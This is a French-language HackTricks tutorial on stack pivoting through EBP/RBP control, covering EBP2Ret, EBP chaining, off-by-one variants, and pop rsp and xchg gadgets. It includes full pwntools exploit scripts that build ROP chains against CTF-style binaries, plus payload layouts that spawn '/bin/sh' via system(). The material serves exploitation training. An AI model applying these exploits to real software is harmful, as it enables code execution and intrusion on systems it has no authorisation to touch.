Stack Pivoting - EBP2Ret - EBP chaining

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Cette technique exploite la capacité de manipuler le Pointeur de Base (EBP) pour chaîner l'exécution de plusieurs fonctions en utilisant soigneusement le registre EBP et la séquence d'instructions leave; ret.

Pour rappel, leave signifie essentiellement :

movl               %ebp, %esp
popl               %ebp
ret

Et comme l'EBP est dans la pile avant l'EIP, il est possible de le contrôler en contrôlant la pile.

EBP2Ret

Cette technique est particulièrement utile lorsque vous pouvez modifier le registre EBP mais n'avez pas de moyen direct de changer le registre EIP. Elle exploite le comportement des fonctions lorsqu'elles ont fini d'exécuter.

Si, pendant l'exécution de fvuln, vous parvenez à injecter un faux EBP dans la pile qui pointe vers une zone en mémoire où se trouve l'adresse de votre shellcode (plus 4 octets pour tenir compte de l'opération pop), vous pouvez contrôler indirectement l'EIP. Lorsque fvuln retourne, l'ESP est défini sur cet emplacement fabriqué, et l'opération pop suivante diminue l'ESP de 4, le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans. Notez comment vous devez connaître 2 adresses : celle où l'ESP va aller, où vous devrez écrire l'adresse pointée par ESP.

Construction de l'exploit

Tout d'abord, vous devez connaître une adresse où vous pouvez écrire des données / adresses arbitraires. L'ESP pointera ici et exécutera le premier ret.

Ensuite, vous devez connaître l'adresse utilisée par ret qui exécutera du code arbitraire. Vous pourriez utiliser :

  • Une adresse ONE_GADGET valide.

  • L'adresse de system() suivie de 4 octets de remplissage et l'adresse de "/bin/sh" (bits x86).

  • L'adresse d'un gadget jump esp; (ret2esp) suivi du shellcode à exécuter.

  • Une chaîne ROP

Rappelez-vous qu'avant l'une de ces adresses dans la partie contrôlée de la mémoire, il doit y avoir 4 octets en raison de la partie pop de l'instruction leave. Il serait possible d'abuser de ces 4B pour définir un deuxième faux EBP et continuer à contrôler l'exécution.

Exploitation de débordement d'un octet

Il existe une variante spécifique de cette technique appelée "Exploitation de débordement d'un octet". Elle est utilisée lorsque vous ne pouvez modifier que le byte de poids faible de l'EBP. Dans ce cas, l'emplacement mémoire stockant l'adresse vers laquelle sauter avec le ret doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire avec des conditions plus contraignantes.

Chaine EBP

Ainsi, en plaçant une adresse contrôlée dans l'entrée EBP de la pile et une adresse à leave; ret dans EIP, il est possible de déplacer l'ESP vers l'adresse EBP contrôlée de la pile.

Maintenant, l'ESP est contrôlé pointant vers une adresse souhaitée et l'instruction suivante à exécuter est un RET. Pour abuser de cela, il est possible de placer à l'emplacement contrôlé de l'ESP ceci :

  • &(prochain faux EBP) -> Charge le nouveau EBP en raison de pop ebp de l'instruction leave

  • system() -> Appelé par ret

  • &(leave;ret) -> Appelé après la fin de system, il déplacera ESP vers le faux EBP et recommencera

  • &("/bin/sh")-> Paramètre pour system

Essentiellement, de cette manière, il est possible de chaîner plusieurs faux EBPs pour contrôler le flux du programme.

Honnêtement, c'est comme un ret2lib, mais plus complexe sans bénéfice apparent mais pourrait être intéressant dans certains cas particuliers.

De plus, voici un exemple de défi qui utilise cette technique avec une fuite de pile pour appeler une fonction gagnante. Voici la charge finale de la page :

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP est inutile

Comme expliqué dans ce post, si un binaire est compilé avec certaines optimisations, l'EBP ne parvient jamais à contrôler ESP, donc, toute exploitation visant à contrôler EBP échouera fondamentalement car elle n'a aucun effet réel. Cela est dû aux changements dans le prologue et l'épilogue si le binaire est optimisé.

  • Non optimisé :

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimisé :

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Autres façons de contrôler RSP

Gadget pop rsp

Sur cette page, vous pouvez trouver un exemple utilisant cette technique. Pour ce défi, il était nécessaire d'appeler une fonction avec 2 arguments spécifiques, et il y avait un gadget pop rsp et il y a une fuite de la pile:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

Gadget xchg <reg>, rsp

pop <reg>                <=== return pointer
<reg value>
xchg <rag>, rsp

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour